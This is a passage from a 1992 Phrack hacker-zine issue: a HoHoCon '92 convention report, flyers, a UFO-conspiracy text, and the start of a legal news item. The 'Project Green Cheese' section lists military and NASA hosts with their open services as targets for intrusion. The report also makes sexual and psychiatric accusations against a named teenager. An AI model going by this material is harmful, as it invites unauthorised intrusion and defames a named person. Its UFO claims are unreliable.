"Red," that chronicled the abusive prank phone calls directed at a bartender.
The film had the actual phone call tapes played with video stills.  (Guess
where the Simpsons came up with that nifty idea...)

Following "Red," someone heard on the scanner that the guard was answering
a large noise disturbance in the room we were in.  (Yes, they had the hotel
guard's 2-meter frequencies.)  Everyone moved into another room before the
guard showed up.  He was thoroughly confused.

In the next room I played the ultimate in shock, the sequel to the movie that
I had disturbed the entire con with last year, "Nekromantik II."  I won't
go into any detail, since the title says it all.  Once again, I reign as
the sickest person at HoHoCon, this honor bestowed upon me by everyone
who witnessed the showing.

As things winded down, several people ended up back in our room to waste
away the last few hours of the night.  Several people returned from an
adventure to "an abandoned hospital."  No one really understood what they went
to, but it sounded disturbing.  Later, that same group would leave to
go climb "an abandoned grain storage tower."  Go figure.

Approximately 2:00 am, a local hacker named Zach showed up.  Scott had a few
words for Zach, as did most everyone at the Con.  Zach lived in a fantasy
land where he was a top notch security consultant with high paying clients
in the telecommunications industry.  He also like to name drop names like
Chasin and Goggans as his partners and as people who would swoop down
and terrorize the people he had any problems with.  He also liked to turn
in, or threaten to turn in any of his rivals in the software pirating
community.  He also like to proposition young boys both in person and
over the phone.  At 17, Zach had a few problems.

Trapped in the corner of the room, Zach endured about an hour of questioning
and accusations (all of which he truly deserved.)  Eventually Zach left,
apparently not affected by the ordeal at all.  We attributed this to his
overly apparent schizophrenia brought on by denial of his sexual
tendencies.

Later that night the Pittsburgh gang blew out the power in their entire
wing.  One was overheard, "Hmmm...guess we should have known that when the
power strips kept melting that we were drawing too much power."

The next morning everyone gathered up their gear and said so long.  All but
a few who gathered in a room marked "the suite of the elite."  Armed with
a nitrous oxide blaster, everyone sat around and viewed the con through
the roaming video eye of Jesse, who had managed to capture everyone
in some kind of compromising position.  He will be selling them off
after he edits it a bit.  It was dubbed "The Blackmail Tape."

In my opinion this year was much less anarchistic than last year.  The
convention might not even be banished from this hotel.  (Yeah, right.)
There were no raids, there were no overtly violent or satanic acts,
no fire alarms, no trashing runs (that I saw), no fights,
and there were no strippers (alas).  The conference portion of the
event was much better organized, there was much more interesting
information to be shared, and was well worth the distances traveled by
all.

This was HoHoCon '92.

--------------------------

                 H*O*H*O*C*O*N '92

                 Frosty's Itinerary

Thursday 8pm  Take off and go bar hopping all night long to build up
              stamina for the convention.

Thrusday 10pm Quit bar hopping and waste shitloads of money at the
              casinos in feeble attempts to get gas money for the trip.

Friday   5am  Leave the casino and decide to get some sleep after spending
              hours to win a meager $10 over starting cash.

Friday   8am  Wake up and decide to pack for the trip.  Forget necessities
              that we couldn't live without.  Remember to bring junk food.

Friday   9am  Stuff assembled GCMS members into subcompact Japanese micro
              car and leech as much gas money out of them as possible.

Friday   2pm  Stop at the friendly convenient store to rob it of precious
              sugar-coated necessities and obtain mucho lotto tickets.

Friday   4pm  Endure Windrunner's gruelling multi-hour long verbatim
              rantings of taking the Purity Test 1500 verbally.

Friday   7pm  Pull out many maps and try to find the damn hotel in Houston.

Friday   9pm  Arrive at the hotel getting a room for one (car stuffed
              with people sits outside the lobby).  Request two keys.

Friday  10pm  Test the smoke machine on the hotel grounds.  Chase young
              code-kids out of your way, threatening to disable their
              phones.

Friday  11pm  Crash in room from lack of sleep.  Kick other members out
              of your way.  Ignore multiple alcoholic beverages lining
              the room.  Ponder what's sleeping in the chair briefly.

Saturday ???  Try to figure out if you're awake or dead.  Take a collection
              from those that are still alive.  Run to some micro-compact
              Japanese convenience store hidden in the middle of suburbia
              hell and obtain sugar-coated nutrients with Windrunner and
              JunkMaster and Gaijin.

Saturday 1pm  Arrive for the conference.  Get mega-amounts of raffle tickets.

Saturday 2pm  Conference actually gets started a few hours behind schedule.
              Tape conversations from the man with the whisper 2000 home
              version.  Ponder the light orbiting Erik B's head.

Saturday 4pm  Witness Steve Ryan in action against the hotel staff.
              Wonder where the young hack in the corner got the gallon,
              mostly empty now, of wine.  Ponder if he's going to spew.

Saturday 6pm  Try to figure out what everyone is going to do with the
              several hundred flashing construction lights given out.
              Calculated the ratio of men to women as 15,000:1, roughly.

Saturday 8pm  Try to keep awake while wondering how much torture can be
              sustained.  Watch Count Zero nodding off.  Hitman and I
              pulled out our decoder rings to interpret Crunch's hidden
              message.

Saturday 10pm Dominoes Pizza makes it to the room.  OUR SAVIOR !!!  He's
              5-minutes late.  Custody battle over the pizza ensues.  The
              manager is called, at which point he lowers the $50 price
              for the two pizzas down to $30.  We scrape a few dollars and
              hand the peon delivery boy some cheap beer.

Saturday Nite Hand out copies of "cindy's torment" to the code kids.
              Watch Erik B.'s continuation of necrophiliac desires on
              the acquired VCR that mysteriously appeared.  Avoided the
              hotel security by changing room while monitoring their
              frequencies (thanks RDT).  Obtained evidence that hackers
              were breaking into VR R&D departments to engage in endless
              routines of VR sex for Cyborgasmic responses.  Saw Crunch's
              host's room blow out as the multitudes of computers fry the
              circuits.  Followed the 'sheep' about the hotel.

Sunday ???    Woke bright and early to a car locked with the keys inside.
              Fortunately, 50-odd slim-jims appeared out of nowhere to
              save the day.  Windrunner chauffeured us back to our lair.

Sunday 3pm    Hacked into the Louisiana Lotto machine from an acoustical
              modem and laptop from a pay phone to rig the numbers and
              then bought a ticket.

Sunday 7pm     Returned to hell.  Lost the lotto ticket in the growing
               pile of sugar-coated necessities sheddings.  Cursed.

Sunday 8pm     Turned the PC on and hit the networks.


--------------------------

Jim Carter, president of Bank Security in Houston, TX, wrote the
following impressions of HoHoCon for Security Insider Report
(December, 1992)

HoHoCon was in fact "Unphamiliar Territory" for this "good ole boy,"
but it didn't take long till I was into the swing of things and
telling lies of how we cheat and steal to get our information.  Of
course, everyone who talked to this "good ole boy" thought he was with
one of the three letter agencies.  As the stories rolled on about what
they (the hackers) could do, such as produce virii that would cause
video display terminals and hard drives to smoke, I had to sit back, sip
my brewski and say "wow."  We sat back, enjoyed a few more rounds, told
a few more lies and had a good time.

Well, this old boy didn't show until about noon on Saturday.  Of course
the conference hadn't started yet so we didn't miss anything.  The
program was kicked off with a number of questions about who, what, where
and how.  It was difficult to determine how many people were there since
the room was packed like a can of sardines.  Our estimate was over two
hundred, not counting the hackers still in their rooms.  Was this
another drunken free for all, as in the past?  A report was given on
cellular hacking and toll fraud.  Hackers' rights were presented by an
attorney.  Also discussed was the stupidity of the press and law
enforcement.

Some others talked about suppressed information from the federal
government concerning UFO's and how hackers are gaining this info.  And
of course the White House wants to know their sources.

Hand outs were given including virii and virus source code.  I did
decline any virii, but who knew what I would get before this was over.
I believe this was the most responsive and gratifying group I have
spoken to this year.  I also expect to get more business because of this
presentation than any other this year.

A lengthy door prize was held in which I was the winner of more virii.
Again, I did decline, but passed the winning ticket on.  Captain Crunch
was the final speaker.  In conclusion, the attendees were the good, the
bad and the ugly.  We did find HoHoCon very informative and, yes, we
will attend again.  In closing, I hope each and everyone had a very
"Merry HoHoCon."


--------------------------

A (Hacker's) Mind is a Terrible Mind to Waste
Unix World, page 136, March 1993

by Gary Andrew Poole

[Unix World wanted MONEY to reprint this in full...Yeah, right.
 Someone already posted it on alt.cyberpunk some time ago
 if you can't find it anywhere.]

*-----------------------------------*

 Various Stuff Picked up at HoHoCon

*-----------------------------------*

--------------------------
Flyer:
--------------------------

Unphamiliar Territory
Phalcon/Skism Western World Headquarters
The Ghost in The Machine Distribution

Featuring:

- 'Neutral Territory' forum where security issues can be discussed with
top security people in the field.

- Completely LEGAL forums on computer security, hacking, phraud.

- Thousands of textfiles covering all aspects of the underground.

- Hundreds of viruses and virus source code for the serious
programmer.

Information:

- Administrators are Invalid Media, Mercury/NSA, Warlock Bones and
Jaeger.

- Run on a professor Falken/LOD donated ZOOM v32bis

- Mentioned in MONDO 2000 and reviewed in the latest Infoworld.

- Dialin 602-894-1757 / 24 hours

--------------------------
Flyer
--------------------------

In your defense..... Courtesy Freeside Orbital Data Network, HoHoCon '92
                                       - B. O'Blivion
Repeat after me:

    "If I am reading this to you, then I believe that you are
questioning, detaining, or arresting me, or searching my person or
possessions in the course of your official duties."

    "I do not consent to any search of seizure of any part of my person
or property, nor to any property of others under my control.  I do not
consent to any person's examination, search, or removal of any
information storage equipment or media in my possession.  You are hereby
notified that such information storage equipment or media contain
private written and electronic mail, confidential communications, and
other material protected under the Electronic Communications Privacy Act
and other statutes."

    "I respectfully decline to answer any questions beyond confirmation
of my identity, and require access to legal counsel immediately.  I
demand that access to legal counsel be provided to me before any
questioning takes place.  I will answer no questions nor give any
information outside the presence of legal counsel.  All requests for
interviews, statements, consents, or information of any sort should be
addressed to me through my attorney.  I invoke the rights five to me by
the Fifth and Sixth Amendments of the Constitution of the United
States."

    "I further notify you that the speech and information contained on
information storage and handling devices at this site are protected
by the First and Fourth Amendments to the Constitution of the United
States, and that any unlawful search or seizure of these items or of
the information they contain will be treated as a violation of the
Constitutional rights of myself and other users of these devices and
media."

    "I further notify you that any such violations of any person's legal
or Constitutional rights which are committed at any time, by any person,
will be the subject of civil legal action for all applicable damages
sustained.  I require that at this time all officers participating in
this illegal search, seizure, or arrest identify themselves at this time
by name and badge number to me and my legal counsel."

[Include if applicable]

    "I further notify you that I am a Computer System Operator providing
private electronic mail, electronic publications, and personal
information storage services to users in this State, and among the
United States.  Any person causing a breach of the security of, or
violation of the privacy of, the information and software herein will be
held liable for all civil damages suffered by any and all users
thereof."

--------------------------
Flyer
--------------------------

HoHoCon 1992
Amusing Local Frequencies
courtesy of -=RDT.

Allen Park Inn Security - 464.500           Houston Post - 154.540
                                                           173.275

                                                           452.975
Houston Police:

North Shepherd Patrol - 460.325
NE Patrol - 460.125
SE Patrol - 460.025
SW Patrol - 460.050
Central Patrol - 460.100
Spec. Op. Traffic - 460.350
Car 2 Car - 460.225
South Central Patrol - 460.550
NW Patrol - 460.475
West Patrol - 460.150
Accident - 460.375
Misc - 460.525
       460.575
       460.400
Records - 460.425
City Marshalls - 453.900
Paging - 155.670
Police Intercity - 453-550

  A number of people have been asking "who is RDT?  what the hell is
RDT?"  For the record, we're hackers who believe information should be
free.  All information.  The world is full of phunky electronic gadgets
and networks, and we want to share our information with the hacker
community.  We currently write for 2600 magazine, Phrack, Mondo 2000,
Cybertek, and Informatik.
  The five "charter members" of RDT are Count Zero, Brian Oblivion,
Magic Man, White Knight, and Omega.  Each of us has complementary
skills, and as a group we have a very wide area of technical
knowledge.  Feel free to contact us.

Count Zero - [e-mail]
                         Brian Oblivion - [e-mail]
Magic Man - [e-mail]
                         White Knight - [e-mail]
                         Omega - [e-mail]

"They are satisfying their appetite to know something that is not theirs
to know."   - Asst. District Attorney Don Ingraham

"All-you-can eat buffet...for FREE!"  - Restricted Data Transmissions

RDT  "Truth is Cheap, but Information Costs."

--------------------------
Magazine
--------------------------

Future Sex

(a very odd pseudo-cyberpunk skin mag)

4 issues for $18, Canada $26, International US $48

1095 Market Street
Suite 809
San Francisco, CA 94103
415-621-5496
415-621-4946 fax

--------------------------
Video
--------------------------

Red  $19.95
(Phone Pranks can kill)

Nekromantik II $29.95
(No comment)

Available through

Film Threat Video
P.O. Box 3170
Los Angeles, CA
90078-3170 USA

818-848-8971

Shipping:  1 tape  $3.40
           2-3     $4.60
           4-6     $5.80
           6+      $7.00

Visa/MC accepted.

--------------------------
Official HoHoCon Crud
--------------------------


                                HoHoCon '92

                        Product Ordering Information


    If you are interested in obtaining either HoHoCon shirts or videos,
                 please contact us at any of the following:

                            [e-mail]
                             [e-mail]
                               [e-mail]
                            [e-mail]
                      [e-mail]
                            359@7354 (WWIV Net)

                       Freeside Orbital Data Network
                             ATTN: dFx/HoHoCon
                       11504 Hughes Road  Suite #124
                               Houston, Texas
                                   77089

                         713-866-4884 (Voice Mail)


     The shirts are $15 plus $2 shipping ($2.50 for two shirts). At this
     time, they only come in extra large. We may add additional sizes if
     there is a demand for them. The front of the shirt has the following
     in a white strip across the chest:


                                I LOVE FEDS

       (Where LOVE = a red heart, very similar to the I LOVE NY logo)


                           And this on the back:

                             dFx & cDc Present

                                HOHOCON '92

                               December 18-20
                               Allen Park Inn
                               Houston, Texas


     There is another version of the shirt available with the following:

                                I LOVE WAREZ

     The video includes footage from all three days, is six hours long and
     costs $18 plus $2 shipping ($2.50 if purchasing another item also).
     Please note that if you are purchasing multiple items, you only need
     to pay one shipping charge of $2.50, not a charge for each item. If
     you wish to send an order in now, make all checks or money orders
     payable to O.I.S., include your phone number and mail it to the street
     address listed above. Allow ten working days for arrival.

     Thanks to everyone who attended and supported HoHoCon '92. Mail us if
     you wish to be an early addition to the HoHoCon '93 (December 17-19)
     mailing list.

--------------------------
Text File
--------------------------

Rumors have begun to surface about a group of hackers who were involved in a
project to uncover information regarding the existence of UFOs.  The
most public example pertaining to this alleged project was seen on
Dateline NBC on the screen of the mystery hacker "Quentin."

The story goes that this group of individuals decided to put their
skills to work on a project that, if successful, would add legitimacy to
the hacking process by uncovering information on what has been called the
greatest cover-up in the history of the world.  Milnet TAC ID cards
were obtained through military officials sympathetic to the cause. Several
sites and networks were targeted that had in the past been linked to UFO
activity.  These were sites like the Jet Propulsion Laboratory, Sandia Labs,
TRW Space Research, American Institute of Physics, and various other
educational, government and military sites.

The rumors also emphasize that several sites had what these individuals
called "particularly heavy security."  Within several seconds after
connection had been established, system administrators of sites used in
this project were contacted.  Further rumors state that there was
information regarding a propulsion system designed utilizing what is
termed "corona discharge" being analyzed at one site.  The most sinister
of all rumors states that one particular participant who was allegedly
deeply immersed in TRWs internal network has not been heard from since
uncovering data regarding a saucer being housed at one of their Southern
California installations.

Believe what you will about the reality of this project.  Much will be
dismissed as hacker lore, but within the core of every rumor lies a
grain of truth.

Are we being lied to?  Why is this information still classified by the NSA?
What are they hiding from us behind a maze of security?  Will we continue
to stand idly by and let an uncaring and deliberately evasive government
shield us from what may be the most important, and potential dangerous
news to ever surface?  Information wants to be free, and only a
concerted group effort can make this happen.  How much do you really
want to know about what is really going on?

What follows is information that has been released regarding this project...

---------------------------------------------------------------------------

PROJECT ALF-1

A Planetary Effort

TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET
TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET TOP SECRET

These are the raw data.  Where comments are appropriate, they
will be included.  The data will be grouped together with dates,
names etc. to make correlations easier.

There are countless references to the aliens, their down space
craft and what the Government is doing with them.
If, as is supposed, the research on the craft and the 'ufonauts'
continues today, then undoubtedly there are computer records, somewhere.

I. Searching the Skies; Tripping the Electronic Fence around the
USA.

US Space Command Space Surveillance Center, Cheyenne Mountain,
Colorado Springs, Box Nine (Electronic Surveillance Room)
(This is where they search for and track UFO activity.)
U.S. Naval Space Surveillance System, Dahlgreen, Virginia, (Main
computer), Lake Kickapoo, Texas (listening post): Search for
'Flash Traffic'
Commander Sheila Mondran
CINC-NORAD
Space Detection and Tracking System
Malabar, Forida
'Teal Amber' search
National Military Command Center - Pentagon
(These are the areas where UFO activity is tracked.
There is a radar shield around the country that is 'tripped' by UFO's.
All tracking and F14 scrambling is done through this system.)

II. The Second Cover Up

Defense Intelligence Agency
Directorate for Management and Operations
Project Aquarius (in conjunction with SRI)

Colonel Harold E. Phillips, Army (where/what Feb. 1987)
UFO Working Group, (formed Dec 1987)
Major General James Pfautz, USAF, Ret. (March 87)
US Army experiments -(Monroe Institute, Faber, VA)
Major General Albert Stubblebine
Capt. Guy Kirkwood,
(thousands of feet of film of UFO's catalogued and on record somewhere.)
The UFO Working Group was formed because one arm of the Govt doesn't
know what the other is doing.)

III. National Security

NSA NAtional Security Agency, Dundee Society (Super secret elite
who have worked on UFO's.)
NSA - Research and Engineering Division
NSA - Intercept Equipment Division

Kirtland Force Base, Office of Special Investigations, Project
Beta. 1979-83-?  (Sandia Labs are here.)
Paul Bennewitz
Project Blue
Project Blue Book

(NSA computers do analysis for Pentagon.)

IV. More Secret Players

NASA, Fort Irwin, Barstow, CA
NASA Ames Research Center, Moffet Field Naval Base
SETI
State Dept. Office of Advanced Technology
Any Astronauts from Mercury, Gemini and Apollo
CIA - Office of Scientific Investigation
CIA - Domestic Collection Division

(NASA has known about UFO's since the astronauts saw and photoed them.
Records somewhere.)

V.  Dealing with the Secret

MJ-12 (1952)
Majectic 12
Operation Majestic 12
MAJIC-12
Admiral Roscoe H. Hillenkoetter
Dr. Vannevar Bush
Dr. Detlev Bronk
Dr. Jerome Hunsaker
Dr. Donald Menzel
Dr. Lloyd Berkner
General Robt. Montague
Sidney Souers
Gordon Gray
General Hoyt Vandenberg
Sect State James Forrestal
General Nathan Twining
Pres. Truman
Pres. Eisenhower

(One of the biggest secrets ever.)

Nevada Desert, Area 51, S4 (houses UFO's)
(Robert Lazar talked!) 9 space ships on storage. Propulsion by
corona discharge.

(Area 51 is the most protected base on the planet.)

VI. ROSWELL, NM Crashes
Mac Brazel (farmer)
Major Jesse A. Marcel
509th. Bomber Group
Lewis Rickett, CIC Officer
Colonel William Blanchard
Gerald Anderson, witness to crash and aliens

Wright Patterson Air Force Base, (parts lists of UFO's catalogued;
autopsies on record) (Bodies in underground facility)
Foreign Technology Building
USAAF (United States Army Air Force reports: "Early Automation"
Muroc, CA (Base with UFO's for study)

(1 saucer with 4 aliens.  They were transported to Wright and then
saved, catalogued and autopsied.)


VII. THOSE ON GOVT SHIT LIST

(People who have gotten close.)

Robert Lazar
Major Donald Keyhoe
William Moore
Stanton Friedman
Jaime Shandera
Whitley Streiber
Timothy Goode, UK

Other UFO Crashes
Del Rio, TX 12/50, Colonel Robert Willingham
Las Vegas, 4/18/62
Kecksburg, PA 12/9/65


VIII. International

Belgian Air Force.  (They are going public and have records.
Press conference held 7/12/91.)
Australian Air Force
UK; GCHQ
British Air Force
Belgium:
NATO Radar Stations


IX. UFO Civilian Groups. (What do they really know?)

NICAP, National Investigations Committee on Aerial Phenomena
(private company.)

APRO, Tucson, AZ (Aerial Phenomona Research Organization,
private company.)

MUFON Mutual UFO Network

X. GENERAL

Kenneth Arnold, June 24, 1947
Cattle and Sheep Mutilations
General and Pres. Eisenhower, (private files and library)
President Truman
Wright Field or Wright Patterson Air Force Base, Dayton, OH, (Air
Force Foriegn Technology Division)
USAF Project Saint
USAF Project Gemini
Project Moon Dust
Project Sign
Project Grudge
General Hoyt Vandenberg (1940-1960)
Air Force Regulation 200-2 (8/12/54)
Holloman AFB, NM
Roswell, NM July 7, 1947


XI. Possible Searches

Presidential Libraries
Old USAAF, (United States Army Air Force)
NASA
Astronaut Frank Borman, Gemini 7, pictures of UFO
Neil Armstrong, Apollo 11, saw UFO's on moon.
Colonel Gordon Cooper saw a bunch of them
James McDivitt, 6/66
United Nations
NATO;
General Lionel Max Chassin, French Air Force
Star Wars, United Kingdom, 23 scientists killed in 6 years.
Gulf Breeze, FL
Additional UFO records at NSA, CIA, DIA,  FBI


Good Searching.

----------------------------------------------------------------------
                    Project
                ->Green Cheese<-
                   Data Base
---------------------------------------------------------------------
Holloman AFB
   Location: New Mexico.  Preconceived landing 15 years ago.

DDN Locations:
--------------

NET : 132.5.0.0 : HOLLOMAN :

GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW :
GATEWAY : 26.9.0.74, 132.5.0.1 : HOLLOMAN-GW.AF.MIL : CISCO-MGS :: EGP,IP/GW :

HOST : 26.10.0.74 : HOLLOMAN-TG.AF.MIL : VAX-8650 : VMS : TCP/FTP,TCP/TELNET,TCP
       SMTP :

HOST : 26.6.0.74 : HOLLOMAN-AM1.AF.MIL : WANG-VS100 : VSOS : TCP/TELNET,TCP/FTP,
       TCP/SMTP :

Host: DDNVAX2.6585TG.AF.MIL
      156.6.1.2

-----------------------------------------------------------------------

Kirtland Air Force Base
    Office Of Special Investigations.  Sandia Labs are here. Also part of
    NSA Intercept Equipment Division.

Key Words/names:
----------------
Sandia Labs
Project Beta (1979-83-?)
Paul Bennewitz
Project Blue
Project Blue Book

DDN Locations:
--------------

NET : 131.23.0.0 : KIRTLAND-NET :
NET : 132.62.0.0 : KIRTLAND2 :
GATEWAY : 26.17.0.48, 131.23.0.1 : KIRTLAND2-GW.AF.MIL,KIRTLAND-GW.AF.MIL
        : CISCO-MGS : UNIX : IP/GW,EGP :
GATEWAY : 26.18.0.87, 132.62.0.1
        : KIRTLAND1-GW.AF.MIL,KIRTLAND1606ABW-GW.AF.MIL : CISCO-MGS :
        : EGP,IP/GW :
HOST : 26.0.0.48 : KIRTLAND.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.87 : KIRTLAND2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.6.0.87 : KIRTLAND-AM1.AF.MIL : WANG-VS300 : VS ::

-----------------------------------------------------------------------

NASA
   What can I say about NASA that you couldnt guess for yourself....
   (Except that the following sights are SPECIFIC NASA sights, not
   just randomly suspected sights).

DDN locations:
--------------

Fort Irwin, Barstow, CA:
-----------------------
NET : 134.66.0.0 : IRWIN :
NET : 144.146.0.0 : FTIRWIN1 :
NET : 144.147.0.0 : FTIRWIN2 :
GATEWAY : 26.24.0.85, 26.7.0.230, 144.146.0.1, 144.147.0.0
        : FTIRWIN-GW1.ARMY.MIL : CISCO-GATEWAY : CISCO : IP/GW,EGP :
HOST : 26.14.0.39 : IRWIN-ASBN.ARMY.MIL : NCR-COMTEN-3650 : COS2 ::
HOST : 26.13.0.85 : FTIRWIN-AMEDD.ARMY.MIL : ATT-3B2-600G : UNIX
     : TCP/FTP,TCP/SMTP,TCP/TELNET :
HOST : 26.14.0.85 : FTIRWIN-IGNET.ARMY.MIL : DATAPOINT-8605 : RMS ::
HOST : 26.15.0.85 : IRWIN-EMH1.ARMY.MIL,FTIRWIN-EMH1.ARMY.MIL : SPERRY-5000
     : UNIX : TCP/FTP,TCP/SMTP,TCP/TELNET :

Moffet Field Naval Base (Ames Research Center):
-----------------------------------------------
GATEWAY : 26.20.0.16, 192.52.195.1 : MOFFETT-FLD-MB.DDN.MIL,AMES-MB.DDN.MIL
        : C/70 : CHRYSALIS : IP/GW,EGP :
HOST : 26.0.0.16 : MOFFETT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

-----------------------------------------------------------------------
Pentagon (National Military Command Center)
    One of many places in charge of tracking UFO activity.

Possible DDN sights:
-------------------

GATEWAY : 26.9.0.26, 134.205.123.140 : PENTAGON-GW.HQ.AF.MIL : CISCO-AGS :
        : EGP,IP/GW :
GATEWAY : 26.25.0.26, 131.8.0.1 : PENTAGON-GW.AF.MIL,HQUSAFNET-GW.AF.MIL
        : CISCO-MGS :: IP/GW,EGP :
GATEWAY : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN-GW.ARMY.MIL : SUN-360
        : UNIX : IP/GW,EGP :
GATEWAY : 26.26.0.247, 192.31.75.1 : PENTAGON-GW.ARMY.MIL : SUN-3/160
        : UNIX : EGP,IP/GW :
GATEWAY : 26.31.0.247, 26.16.0.26, 141.116.0.1 : PENTAGON-GW1.ARMY.MIL
        : CISCO : CISCO : IP/GW,EGP :
HOST : 26.0.0.26 : PENTAGON.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.24.0.26 : OPSNET-PENTAGON.AF.MIL : VAX-8500 : VMS
     : TCP/TELNET,TCP/FTP,TCP/SMTP :
HOST : 26.10.0.76, 192.31.75.235 : PENTAGON-BCN.ARMY.MIL : SUN-360 : UNIX
     : TCP/FTP,TCP/SMTP,TCP/TELNET :
HOST : 26.0.0.247 : PENTAGON2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.7.0.247 : PENTAGON-AMSNET.ARMY.MIL : AMDAHL : MVS
     : TCP/TELNET,TCP/FTP :
HOST : 26.14.0.247 : NSSC-PENTAGON.NAVY.MIL : ALTOS-3068A : UNIX
     : TCP/FTP,TCP/TELNET,TCP/SMTP :
HOST : 26.18.0.247 : PENTAGON-EMH4.ARMY.MIL : SPERRY-5000/80 : UNIX
     : TCP/TELNET,TCP/FTP,TCP/SMTP :
HOST : 26.26.0.247, 192.31.75.1 : PENTAGON-AI.ARMY.MIL : SUN-3/160 : UNIX
     : TCP/TELNET,TCP/FTP,TCP/SMTP,TCP/FINGER :

-----------------------------------------------------------------------

Raddaman
   Location of infamous building 18a.  Suspected saucers and others?

DDN location, yet unknown.

------------------------------------------------------------------------

SECI
     ?

DDN Locations:
--------------

NET : 192.108.216.0 : ARC-SETI-NET :

------------------------------------------------------------------------

Utah Locations:

GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL
       : CISCO-MGS :: IP/GW,EGP :

GATEWAY : 26.18.0.20, 131.27.0.1 : HILL-GW.AF.MIL,HILLAFBNET-GW.AF.MIL
        : CISCO-MGS :: IP/GW,EGP :

HOST : 26.5.0.20 : HILL.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.99 : HILL2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.12.0.99 : HILL-AM1.AF.MIL : WANG-VS100 : VS
     : TCP/TELNET,TCP/FTP,TCP/SMTP :

-------------------------------------------------------------------------

Wright Patterson AFB
 Catalogued UFO parts list.  Autopsies on record.  Bodies located in
 underground facility of Foreign Technology Building.

DDN Locations:
--------------

HOST : 26.0.0.47 : WRIGHTPAT.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.8.0.123 : WRIGHTPAT2.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.0.0.124 : WRIGHTPAT3.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :
HOST : 26.3.0.170 : WAINWRIGHT-IGNET.ARMY.MIL : CONVERGENT-TECH-CN-100
     : CTOS ::
HOST : 26.0.0.176 : WRIGHTPAT4.MT.DDN.MIL : C/30 : TAC : TCP,ICMP :

-------------------------------------------------------------------------

Nevada:

NET : 131.216.0.0 : NEVADA :

-------------------------------------------------------------------------

Random Suspected Nets:

WIN:
  Top Secret Network.  All coordinator's have last name Win.

NET : 141.8.0.0  : DFN-WIN8  : NET : 141.9.0.0  : DFN-WIN9  :
NET : 141.10.0.0 : DFN-WIN10 : NET : 141.15.0.0 : DFN-WIN15 :
NET : 141.25.0.0 : DFN-WIN25 : NET : 141.26.0.0 : DFN-WIN26 :
NET : 141.28.0.0 : DFN-WIN28 : NET : 141.57.0.0 : DFN-WIN57 :
NET : 141.58.0.0 : DFN-WIN58 : NET : 141.59.0.0 : DFN-WIN59 :
NET : 141.60.0.0 : DFN-WIN60 : NET : 141.61.0.0 : DFN-WIN61 :
NET : 141.62.0.0 : DFN-WIN62 : NET : 141.63.0.0 : DFN-WIN63 :
NET : 141.64.0.0 : DFN-WIN64 : NET : 141.65.0.0 : DFN-WIN65 :
NET : 141.66.0.0 : DFN-WIN66 : NET : 141.67.0.0 : DFN-WIN67 :
NET : 141.68.0.0 : DFN-WIN68 : NET : 141.69.0.0 : DFN-WIN69 :
NET : 141.70.0.0 : DFN-WIN70 : NET : 141.71.0.0 : DFN-WIN71 :
NET : 141.72.0.0 : DFN-WIN72 : NET : 141.73.0.0 : DFN-WIN73 :
NET : 141.74.0.0 : DFN-WIN74 : NET : 141.75.0.0 : DFN-WIN75 :
NET : 141.76.0.0 : DFN-WIN76 : NET : 141.77.0.0 : DFN-WIN77 :
NET : 141.78.0.0 : DFN-WIN78 : NET : 141.79.0.0 : DFN-WIN79 :
NET : 141.80.0.0 : DFN-WIN80 : NET : 141.81.0.0 : DFN-WIN81 :
NET : 141.82.0.0 : DFN-WIN82 : NET : 141.83.0.0 : DFN-WIN83 :
NET : 141.84.0.0 : DFN-WIN84 : NET : 141.85.0.0 : DFN-WIN85 :
NET : 141.86.0.0 : DFN-WIN86 : NET : 141.87.0.0 : DFN-WIN87 :
NET : 141.88.0.0 : DFN-WIN88 : NET : 141.89.0.0 : DFN-WIN89 :
NET : 141.90.0.0 : DFN-WIN90 : NET : 141.91.0.0 : DFN-WIN91 :
NET : 141.92.0.0 : DFN-WIN92 : NET : 141.93.0.0 : DFN-WIN93 :
NET : 141.94.0.0 : DFN-WIN94 : NET : 141.95.0.0 : DFN-WIN95 :
NET : 141.96.0.0 : DFN-WIN96 : NET : 141.97.0.0 : DFN-WIN97 :
NET : 141.98.0.0 : DFN-WIN98 : NET : 141.99.0.0 : DFN-WIN99 :
NET : 188.1.0.0  : WIN-IP    : NET : 192.80.90.0 : WINDATA  :

-----------------------------------

Scinet:
      Sensitive Compartmented Information Network

NET : 192.12.188.0 : BU-SCINET :

-----------------------------------

Disnet:
      Defense Integrated Secure Network.  Composed of SCINET, WINCS
      ([World Wide Military and Command Control System] Intercomputer
      Network Communication Subsystem), and Secretnet(WIN).

NET : 22.0.0.0 : DISNET :

-----------------------------------
                              ==Phrack Magazine==

                  Volume Four, Issue Forty-Two, File 14 of 14

              PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN
              PWN                                             PWN
              PWN              Phrack World News              PWN
              PWN                                             PWN
              PWN        Compiled by Datastream Cowboy        PWN
              PWN                                             PWN
              PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN


              STEVE JACKSON GAMES v. UNITED STATES SECRET SERVICE

 Rights To Be Tested In Computer Trial                         January 20, 1993
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 by Joe Abernathy (The Houston Chronicle)(Page A13)
 *Reprinted With Permission*

                        Summary Judgment Denied In Case

AUSTIN -- A judge Tuesday denied plaintiff lawyers' request for summary
judgment in a case brought against the U.S. Secret Service to set the bounds of
constitutional protections for electronic publishing and electronic mail.

U.S. District Judge Sam Sparks acted after hearing complicated arguments
regarding application of 1st and 4th Amendment principles in  computer-based
communications and publishing.  The case will go to trial at 9 a.m. today.

"Uncontested facts show the government violated the Privacy Protection Act and
